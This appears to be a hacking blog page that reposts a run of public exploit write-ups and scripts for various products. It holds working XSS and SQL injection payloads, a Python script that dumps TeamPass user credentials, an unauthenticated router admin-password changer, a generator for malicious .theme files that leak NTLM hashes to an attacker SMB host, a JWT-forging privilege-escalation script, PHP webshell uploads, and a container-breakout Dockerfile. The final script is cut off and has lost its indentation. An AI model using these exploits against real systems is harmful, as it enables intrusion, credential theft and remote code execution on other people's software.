Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86391660

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Exploit Title: TranzAxis 3.2.41.10.26 - Stored Cross-Site Scripting (XSS) (Authenticated)
Date: 10th, March, 2025
Exploit Author: ABABANK REDTEAM
Vendor Homepage: https://compassplustechnologies.com/
Version: 3.2.41.10.26
Tested on: Window Server 2016

1. Login to web application
2. Click on `Entire System` goto `Monitoring` then click on `Terminals
Monitoring`
3. Select any name below `Terminals Monitoring` then click on `Open Object
in Tree`
4. Select on Filter then supply with any filter name then click `Apply
Filter`
5. On the right side select on `Save Settings in Explorer Tree`, on the
`Enter Explorer Item Title` supply the payload <img src=x
onerror=alert(document.domain)> then click OK.

Payload: <img src=x onerror=alert(document.domain)>
            
# Exploit Title: FluxBB 1.5.11 Stored xss
# Date: 3/8/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: www.fluxbb.org
# Software Link: https://www.softaculous.com/apps/forums/FluxBB
# Version: FluxBB 1.5.11
# Tested on: Windows XP


1. login to admin panel
2. go to /admin_forums.php
3. click on "add forum"
4. in description text area put this payload:

<iframe src=javascript:alert(1)>

5. save changes
now everytime users enter the home page will see the alert.
            
# Exploit Title: JUX Real Estate 3.4.0 - SQL Injection
# Exploit Author: CraCkEr
# Date: 26/02/2025
# Vendor: JoomlaUX
# Vendor Homepage: https://joomlaux.com/
# Software Link: https://extensions.joomla.org/extension/jux-real-estate/
# Demo Link: http://demo.joomlaux.com/#jux-real-estate
# Tested on: Windows 11 Pro
# Impact: Database Access
# CWE: CWE-89 - CWE-74 - CWE-707
# CVE: CVE-2025-2126
# VDB: VDB-299039


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /extensions/realestate/index.php/properties/list/list-with-sidebar/realties

GET Parameter 'title' is vulnerable to SQLi


---
Parameter: title (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: option=com_jux_real_estate&view=realties&Itemid=148&title='XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z&price_slider_lower=63752&price_slider_upper=400000&area_slider_lower=30&area_slider_upper=400&type_id=2&cat_id=8&country_id=73&locstate=187&beds=1&agent_id=112&baths=1&jp_yearbuilt=&button=Search


## POC:

https://website/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?option=com_jux_real_estate&view=realties&Itemid=148&title=[SQLi]

## Payload:

1'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z



[-] Done
            
# Exploit Title: VeeVPN 1.6.1 - 'VeePNService' Unquoted Service Path
# Date: 2024-12-27
# Exploit Author: Doğukan Orhan
# Vendor Homepage: https://veepn.com/
# Version: 1.6.1
# Tested on: Windows 10 Pro x64


# Step to discover Unquoted Service Path:

C:\Users\PC>wmic service where 'name like "%VeePNService%"' get name, displayname, pathname, startmode, startname

#Service Info

C:\Users\PC>sc qc VeePNService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VeePNService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\VeePN\service\VeePNService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VeePNService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
            
# Exploit Title: Gitea 1.24.0 - HTML Injection
# Date: 2025-03-09
# Exploit Author: Mikail KOCADAĞ
# Vendor Homepage: https://gitea.com
# Software Link: https://dl.gitea.io/gitea/1.24.0/
# Version: 1.24.0
# Tested on: Windows 10, Linux Ubuntu 22.04
# CVE : N/A

## Vulnerability Description:
In Gitea 1.24.0, the "description" parameter on the user settings page is vulnerable to HTML Injection and potentially Reflected XSS. The user-supplied HTML content is not properly sanitized, allowing it to be executed in the browser. When a user saves their profile description containing malicious HTML or JavaScript code, the payload successfully executes, confirming the vulnerability.

## Exploit PoC:
[https://lh7-rt.googleusercontent.com/docsz/AD_4nXeh7FQb3EdM3-fPqRLqZ4Oh5JlVQdHjhBHEtPL5U9mEtTeWwiMdfx1SpyYC-Kg7EiWCy-Mpay8ZKz6WDw5hCYLrbCrAN2Dlg5xAnNIMuL9ui8ZNjH9GzD_rwdtjbGRkyoTP-uAd?key=pDzgPVQKg3NL0T6shAZ0U6Xz][https://lh7-rt.googleusercontent.com/docsz/AD_4nXc-OZUDyqxfXQV92GwjmahRYFv7BzYhJ5lG2F6slXNyRVRcgyB2yNbK_NMkFkWbU6IggK4xOkUDP5aukMiEjFS18zIc3DDUR7M0wivQMF2aWRt91yx_ayb7AB556Uot1LVUaa1z8w?key=pDzgPVQKg3NL0T6shAZ0U6Xz]

## Paload:<h1>deneme</h1>
### **1. Request:**
POST /user/settings HTTP/2
Host: demo.gitea.com
Cookie: _gid=GA1.2.1249205656.1740139988; _ga=GA1.2.291185928.1740139987; i_like_gitea=d9da795e317a0ced; lang=tr-TR; _ga_WBKVZF2YXD=GS1.1.1740139987.1.1.1740140041.6.0.0; _csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
Content-Length: 312
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: tr-TR,tr;q=0.9
Origin: null
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

_csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
&full_name=Abuzettin
&description=%3Ch1%3Edeneme%3C%2Fh1%3E
&website=
&location=
&visibility=0
&keep_email_private=on
            
# Exploit Title: CVE-2024-21320 - NTLM Hash Leak via Malicious Windows Theme
# Date: 02/03/2025
# Exploit Author: Abinesh Kamal K U
# CVE : CVE-2024-21320
# Ref: https://www.cve.org/CVERecord?id=CVE-2024-21320


## Step 1: Install Responder
Responder is a tool to capture NTLM hashes over SMB.

git clone https://github.com/lgandx/Responder.git
cd Responder

Replace `eth0` with your network interface.


## Step 2: Create a Malicious Windows Theme File

### Python Script to Generate the Malicious `.theme` File

import os

# Attacker-controlled SMB server IP
attacker_smb_server = "192.168.1.100"  # Change this to your attacker's IP

# Name of the malicious theme file
theme_filename = "malicious.theme"

# Malicious .theme file content
theme_content = f"""
[Theme]
DisplayName=Security Update Theme

[Control Panel\Desktop]
Wallpaper=\\\\{attacker_smb_server}\\share\\malicious.jpg

[VisualStyles]
Path=%SystemRoot%\\resources\\Themes\\Aero\\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
"""

# Write the theme file
with open(theme_filename, "w") as theme_file:
    theme_file.write(theme_content)

print(f"[+] Malicious theme file '{theme_filename}' created.")

# Optional: Start a Python HTTP server to serve the malicious theme file
start_http = input("Start HTTP server to deliver theme file? (y/n):
").strip().lower()
if start_http == "y":
    print("[+] Starting HTTP server on port 8080...")
    os.system("python3 -m http.server 8080")
```


## Step 3: Deliver & Capture NTLM Hashes
1. Send the `malicious.theme` file to the target.
2. Run Responder to capture the NTLM hash:

   sudo python3 Responder.py -I eth0

3. Wait for the victim to open the `.theme` file.
4. Extract NTLM hash from Responder logs and crack it using hashcat:

   hashcat -m 5600 captured_hashes.txt rockyou.txt


-- 
Abinesh Kamal K U
abineshjerry.info
MTech - Cyber Security Systems & Networks
Amrita University
            
# Exploit Title: Jasmin Ransomware SQL Injection Login Bypass
# Google Dork: N/A
# Date: 05-03-2025
# Exploit Author: Buğra Enis Dönmez
# Vendor Homepage: https://github.com/codesiddhant/Jasmin-Ransomware
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: N/A
# Tested on: Windows

How to exploit :

--> Open Admin Panel Through : http://localhost/login.php

--> Enter the SQL Injection Auth Bypass Payload to Email like : '=' 'or'

--> And to Access Code, Enter the same SQL Injection Authentication Bypass Payload : '=' 'or'

--> Press Authorize

--> Congratz, you're in

--> SQL Injection Authentication Bypass Payload : '=' 'or'

--> Payloads Can be use :

' or '1'='1

' or ''='

'=' 'or'

' OR '1'='1';-- -

' or 1 -- -
            
# Exploit Title: Container Breakout with NVIDIA Container Toolkit
# Date: 17/02/2025
# Exploit Author: r0binak
#Software Link Homepage: https://github.com/NVIDIA/nvidia-container-toolkit
# Version: 1.16.1
# Tested on: NVIDIA Container Tooklit 1.16.1
# CVE: CVE-2024-0132

Description: NVIDIA Container Toolkit 1.16.1 or earlier contains a
Time-of-check Time-of-Use (TOCTOU) vulnerability when used with
default configuration where a specifically crafted container image may
gain access to the host file system. This does not impact use cases
where CDI is used. A successful exploit of this vulnerability may lead
to code execution, denial of service, escalation of privileges,
information disclosure, and data tampering.

PoC link: https://github.com/r0binak/CVE-2024-0132

Steps to Reproduce:

Build and run a docker image based on such a Dockerfile:

FROM ubuntu

RUN mkdir -p /usr/local/cuda/compat/

RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test >
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs

RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../
/pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1

RUN ln -s /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
/usr/local/cuda/compat/libxxx.so.2

The host file system will reside in
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/

Regards,
Sergey `*r0binak*` Kanibor
            
# Exploit Title: TeamPass SQL Injection
# Google Dork: intitle:"Teampass" + inurl:index.php?page=items
# Date: 02/23/2025
# Exploit Author: Max Meyer - Rivendell
# Vendor Homepage: http://www.teampass.net
# Software Link: https://github.com/nilsteampassnet/TeamPass
# Version: 2.1.24 and prior
# Tested on: Windows/Linux
# CVE : CVE-2023-1545


#!/usr/bin/env python3
import sys
import json
import base64
import logging
import requests
from typing import Optional, Dict, Any
from dataclasses import dataclass

# Configuração de logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

@dataclass
class TeamPassExploit:
    base_url: str
    arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
    
    def __post_init__(self):
        self.vulnerable_url = f"{self.base_url}/api/index.php/authorize"
        
    def check_api_enabled(self) -> bool:
        """Verifica se a API está habilitada."""
        try:
            response = requests.get(self.vulnerable_url)
            if "API usage is not allowed" in response.text:
                logger.error("API feature is not enabled")
                return False
            return True
        except requests.RequestException as e:
            logger.error(f"Erro ao verificar API: {e}")
            return False

    def execute_sql(self, sql_query: str) -> Optional[str]:
        """Executa uma query SQL através da vulnerabilidade."""
        try:
            inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \
                     "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \
                     "FROM teampass_users WHERE login='admin"
            
            data = {
                "login": inject,
                "password": "h4ck3d",
                "apikey": "foo"
            }
            
            response = requests.post(
                self.vulnerable_url,
                headers={"Content-Type": "application/json"},
                json=data
            )
            
            if not response.ok:
                logger.error(f"Erro na requisição: {response.status_code}")
                return None
                
            token = response.json().get('token')
            if not token:
                logger.error("Token não encontrado na resposta")
                return None
                
            # Decodifica o token JWT
            token_parts = token.split('.')
            if len(token_parts) < 2:
                logger.error("Token JWT inválido")
                return None
                
            payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4))
            return json.loads(payload).get('public_key')
            
        except Exception as e:
            logger.error(f"Erro ao executar SQL: {e}")
            return None

    def get_user_credentials(self) -> Optional[Dict[str, str]]:
        """Obtém credenciais de todos os usuários."""
        try:
            # Obtém número total de usuários
            user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
            if not user_count or not user_count.isdigit():
                logger.error("Não foi possível obter o número de usuários")
                return None
                
            user_count = int(user_count)
            logger.info(f"Encontrados {user_count} usuários no sistema")
            
            credentials = {}
            for i in range(user_count):
                username = self.execute_sql(
                    f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                password = self.execute_sql(
                    f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                
                if username and password:
                    credentials[username] = password
                    logger.info(f"Credenciais obtidas para: {username}")
                
            return credentials
            
        except Exception as e:
            logger.error(f"Erro ao obter credenciais: {e}")
            return None

def main():
    if len(sys.argv) < 2:
        logger.error("Usage: python3 script.py <base-url>")
        sys.exit(1)
        
    exploit = TeamPassExploit(sys.argv[1])
    
    if not exploit.check_api_enabled():
        sys.exit(1)
        
    credentials = exploit.get_user_credentials()
    if credentials:
        print("\nCredenciais encontradas:")
        for username, password in credentials.items():
            print(f"{username}: {password}")

if __name__ == "__main__":
    main()
            
# Exploit Title: Aztech DSL5005EN Router - 'sysAccess.asp' Admin Password Change (Unauthenticated)
# Date: 2025-02-26
# Exploit Author: Amir Hossein Jamshidi
# Vendor Homepage: https://www.aztech.com
# Version: DSL5005EN
# Tested on: Linux
# CVE: N/A

import requests
import argparse

print('''
#################################################################################
#       aztech DSL5005EN router/modem - admin password change (Unauthenticated) #
#                   BY: Amir Hossein Jamshidi                                   #
#               Mail: amirhosseinjamshidi64@gmail.com                           #
#           github: https://github.com/amirhosseinjamshidi64                    #
#       Usage: python Exploit.py --ip TRAGET_IP --password PASSWORD             #
#################################################################################
''')

def change_password(ip_address, password):
    """
    Changes the password of a device at the given IP address.

    Args:
        ip_address: The IP address of the device (e.g., "192.168.1.1").
        password:   The new password to set.
    """

    url = f"http://{ip_address}/cgi-bin/sysAccess.asp"
    origin = f"http://{ip_address}"
    referer = f"http://{ip_address}/cgi-bin/sysAccess.asp"

    payload = {
        "saveFlag": "1",
        "adminFlag": "1",
        "SaveBtn": "SAVE",
        "uiViewTools_Password": password,
        "uiViewTools_PasswordConfirm": password
    }

    headers = {
        "Cache-Control": "max-age=0",
        "Accept-Language": "en-US,en;q=0.9",
        "Origin": origin,
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": referer,
        "Connection": "keep-alive"
    }

    try:
        response = requests.post(url, data=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            print(f"Password change request to {ip_address} successful!")
            print(f"Username: admin")
            print(f"Password: {password}")
        else:
            print(f"Request to {ip_address} failed with status code: {response.status_code}")
            print(f"Response content:\n{response.text}")  # Print response for debugging

    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Change password of a device.")
    parser.add_argument("--ip", dest="ip_address", required=True, help="The IP address of the device.")
    parser.add_argument("--password", dest="password", required=True, help="The new password to set.")
    args = parser.parse_args()

    change_password(args.ip_address, args.password)
            
# Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE)
# Date: 10/09/2024
# Exploit Author: Secfortress (https://github.com/sec-fortress)
# Vendor Homepage: https://mozilo.de/
# Software Link:
https://github.com/moziloDasEinsteigerCMS/mozilo3.0/archive/refs/tags/3.0.1.zip
# Version: 3.0
# Tested on: Debian
# Reference: https://vulners.com/cve/CVE-2024-44871
# CVE : CVE-2024-44871

"""
################
# Description  #
################

MoziloCMS version 3.0 suffers from an arbitrary file upload vulnerability
in the component "/admin/index.php" which allows an authenticated attacker
to execute arbitrary code on the "Files" session by uploading a maliciously
crafted .JPG file and subsequently renaming its extension to .PHP using the
application's renaming function.

#####################
# PoC for webshell  #
#####################

Steps to Reproduce:

1. Login as admin
2. Go to the Files session by the left menu
3. Create a .jpg file with it content having a php web shell
4. Upload the file to the server via the upload icon and save
5. Rename the file to .php on the web server and save
6. Access webshell via this endpoint :
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php

==========================
Request 1 => Upload File: #
==========================

POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------186462060042780927583949521447
Content-Length: 607
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer:
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="curent_dir"

Willkommen
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="chancefiles"

true
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="action"

files
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="files[]"; filename="revshell.jpg"
Content-Type: image/jpeg

<?=`$_GET[0]`?>

-----------------------------186462060042780927583949521447--

===========================
Request 2 => Rename File: #
===========================

POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer:
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

action=files&newfile=revshell.php&orgfile=revshell.jpg&curent_dir=Willkommen&changeart=file_rename


####################
# Webshell access: #
####################

# Wenshell access via curl:

curl
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php?0=whoami

# Output:

www-data

"""
            
# Exploit Title : Watcharr 1.43.0 - Remote Code Execution (RCE)
# CVE-2024-48827 exploit by Suphawith Phusanbai
# Affected Watcharr version 1.43.0 and below.
import argparse
import requests
import json
import jwt 
from pyfiglet import Figlet

f = Figlet(font='slant',width=100)
print(f.renderText('CVE-2024-48827'))

#store JWT token and UserID \ เก็บ token กับ UserID
jwt_token = None
user_id = None

#login to obtain JWT token / ล็อคอินเพื่อรับ JWT Token 
def login(host, port, username, password):
    url = f'http://{host}:{port}/api/auth/'
    #payload in login API request \ payload ใน json 
    payload = {
        'username': username,
        'password': password
    }

    headers = {
        'Content-Type': 'application/json'
    }
    #login to obtain JWT token \ ล็อคอินเพิ่อเก็บ JWT token แล้วใส่ใน jwt_token object
    try:
        response = requests.post(url, data=json.dumps(payload), headers=headers)
        if response.status_code == 200:
            token = response.json().get('token')
            if token:
                print(f"[+] SUCCESS! JWT Token: {token}")
                global jwt_token  
                jwt_token = token
                
                #decode JWT token and store UserID in UserID object \ ดีโค้ด JWT token แล้วเก็บค่า UserID ใส่ใน UserID object
                decoded_payload = jwt.decode(token, options={"verify_signature": False})
                global user_id
                user_id = decoded_payload.get('userId')  
                
                return token             
            else:
                print("[-] Check your password again!")
        else:
            print(f"[-] Failed :(")
            print(f"Response: {response.text}")
    except Exception as e:
        print(f"Error! HTTP response code: {e}")

#craft the admin token(to make this work you need to know admin username) \ สร้าง admin JWT token ขึ้นมาใหม่โดยใช้ token ที่ล็อคอิน
def create_new_jwt(original_token):
    try:
        decoded_payload = jwt.decode(original_token, options={"verify_signature": False})
        #userID = 1 is always the admin \ userID ลำดับที่ 1 คือ admin เสมอ
        decoded_payload['userId'] = 1
        new_token = jwt.encode(decoded_payload, '', algorithm='HS256')
        print(f"[+] New JWT Token: {new_token}")
        return new_token
    except Exception as e:
        print(f"[-] Failed to create new JWT: {e}")

#privilege escalation with the crafted JWT token \ PE โดยการใช้ crafted admin token 
def privilege_escalation(host, port, adminuser, token):
    #specify API endpoint for giving users admin role \ เรียกใช้งาน API สำหรับให้สิทธิ์ user admin
    url = f'http://{host}:{port}/api/server/users/{user_id}'

    # permission 3 givefull access privs you can also use 6 and 9 to gain partial admin privileges. \ ให้สิทธิ์ admin ทั้งหมดด้วย permission = 3 
    payload = {
        "permissions": 3
    }

    headers = {
        'Authorization': f'{token}',
        'Content-Type': 'application/json'
    }

    try:
        response = requests.post(url, data=json.dumps(payload), headers=headers)
        if response.status_code == 200:
            print(f"[+] Privilege Escalation Successful! The current user is now an admin!")
        else:
            print(f"[-] Failed to escalate privileges. Response: {response.text}")
    except Exception as e:
        print(f"Error during privilege escalation: {e}")


#exampl usage: python3 CVE-2024-48827.py -u dummy -p dummy -host 172.22.123.13 -port 3080 -adminuser admin
#usage
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit CVE-2024-48827 to obtain JWT token and escalate privileges.')
    parser.add_argument('-host', '--host', type=str, help='Host or IP address', required=True)
    parser.add_argument('-port', '--port', type=int, help='Port', required=True, default=3080)
    parser.add_argument('-u', '--username', type=str, help='Username for login', required=True)
    parser.add_argument('-p', '--password', type=str, help='Password for login', required=True)
    parser.add_argument('-adminuser', '--adminuser', type=str, help='Admin username to escalate privileges', required=True)
    args = parser.parse_args()

    #step 1: login
    token = login(args.host, args.port, args.username, args.password)

    #step 2: craft the admin token
    if token:
        new_token = create_new_jwt(token)
        #step 3: Escalate privileges with crafted token. Enjoy!
        if new_token:
            privilege_escalation(args.host, args.port, args.adminuser, new_token)
            
# Exploit Title: X2CRM 8.5 - Stored Cross-Site Scripting (XSS)
# Date: 12 September 2024
# Exploit Author: Okan Kurtulus
# Vendor Homepage: https://x2engine.com/
# Software Link: https://github.com/X2Engine/X2CRM
# Version: X2CRM v8.5
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-48120

1-) Log in to the system with any user account. Navigate to the “Opportunities” section from the top menu and select “Create List.” In the “Name” field of the new screen, enter the malicious XSS payload and click “Create.”

2-) Next, return to the “Opportunities” tab and click on “Lists” again. The stored XSS payload will be triggered.

XSS Trigger Request:

POST /x2crm/x2engine/index.php/opportunities/createList HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 390
Origin: http://192.168.1.108
Connection: keep-alive
Referer: http://192.168.1.108/x2crm/x2engine/index.php/opportunities/createList
Cookie: PHPSESSID=uijrtnp42qqo29vfkb4v0sps3i; YII_CSRF_TOKEN=Rkw1SWxTc1dpa0Z0OGdpb1RxY0ZGVDY5X3pPMzVFTDGjgT_kJmGLFkvRCi_Y9OO4f0QIHNTvqbSw1t9UVVXL4g%3D%3D; 5d8630d289284e8c14d15b14f4b4dc28=9d5b82f1240eb47cd73a20df560d9b3086847e33a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%223%22%3Bi%3A1%3Bs%3A4%3A%22test%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; LoginForm[username]=test; LoginForm[rememberMe]=1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

YII_CSRF_TOKEN=Rkw1SWxTc1dpa0Z0OGdpb1RxY0ZGVDY5X3pPMzVFTDGjgT_kJmGLFkvRCi_Y9OO4f0QIHNTvqbSw1t9UVVXL4g%3D%3D&X2List%5Bname%5D=%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E&X2List%5Btype%5D=dynamic&X2List%5BassignedTo%5D=test2&X2List%5Bvisibility%5D=1&X2List%5BlogicType%5D=AND&X2List%5Battribute%5D%5B%5D=alternativeEmail&X2List%5Bcomparison%5D%5B%5D=%3D&X2List%5Bvalue%5D%5B%5D=test&yt0=Create
            
# Exploit Title: KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR)
# Date: 3 September
# Exploit Author: Okan Kurtulus
# Vendor Homepage: https://kubesphere.io
# Software Link: https://github.com/kubesphere/kubesphere
# Version: [>= 4.0.0 & < 4.1.3] , [>= 3.0.0 & < 3.4.1]
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-46528

1-) Log in to the system with a user who is not registered to any workspace (e.g., a "platform-regular" user who has limited authorization).

Note: The authorization level of this user is as follows:
"Cannot access any resources before joining a workspace."

2-) After logging in with this user, it has been observed that cluster information, node information, users registered in the system, and other similar areas can be accessed without the user being registered to any workspace or cluster.

Examples of accessible endpoints:

http://xxx.xxx.xx.xx:30880/clusters/default/overview 
http://xxx.xxx.xx.xx:30880/clusters/default/nodes 
http://xxx.xxx.xx.xx:30880/access/accounts 
http://xxx.xxx.xx.xx:30880/clusters/default/monitor-cluster/ranking 
http://xxx.xxx.xx.xx:3 0880/clusters/default/monitor-cluster/resource 
http://xxx.xxx.xx.xx:30880/clusters/default/projects 
http://xxx.xxx.xx.xx:30880/clusters/default/nodes/minikube/pods 
http://xxx.xxx.xx.xx:30880/clusters/default/kubeConfig
            
# Exploit Title: WordPress Backup and Staging Plugin ≤ 1.21.16 - Arbitrary File Upload to RCE
# Original Author: Patchstack (hypothetical)
# Exploit Author: Al Baradi Joy
# Exploit Date: April 5, 2025
# Vendor Homepage: https://wp-timecapsule.com/
# Software Link: https://wordpress.org/plugins/wp-time-capsule/
# Version: Up to and including 1.21.16
# Tested Versions: 1.21.16
# CVE ID: CVE-2024-8856
# Vulnerability Type: Arbitrary File Upload / Remote Code Execution
# Description:
# The WordPress plugin "Backup and Staging by WP Time Capsule" up to version 1.21.16
# allows unauthenticated attackers to upload arbitrary files via the upload.php endpoint.
# This can lead to remote code execution if a PHP file is uploaded and executed directly
# from the wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/ directory.
# Proof of Concept: Yes
# Categories: WordPress Plugin, File Upload, RCE
# CVSS Score: 9.9 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes:
# Successful exploitation provides shell access as the user running the web server.
# Ensure target is using the vulnerable plugin version before launching the attack.

import requests

# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2024-8856 - WordPress Backup and Staging
Plugin Arbitrary File Upload")
print("Made By Al Baradi Joy")
print("="*80)

# Function to detect if the target supports HTTPS or falls back to HTTP
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"

try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")

try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[] Target is unreachable on both HTTP and HTTPS.")
exit(1)

# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://",
"").replace("https://", "").strip())
upload_url =
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload.php"
shell_url =
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/shell.php?cmd=whoami"

files = {
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>',
'application/x-php')
}

try:
print(f"[+] Attempting to upload shell to: {upload_url}")
response = requests.post(upload_url, files=files, timeout=10)

if response.status_code == 200:
print(f"[] Exploit successful! Webshell available at:
{shell_url}")
else:
print(f"[] Failed to upload shell. Status code:
{response.status_code}")

except requests.exceptions.ConnectionError:
print("[] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
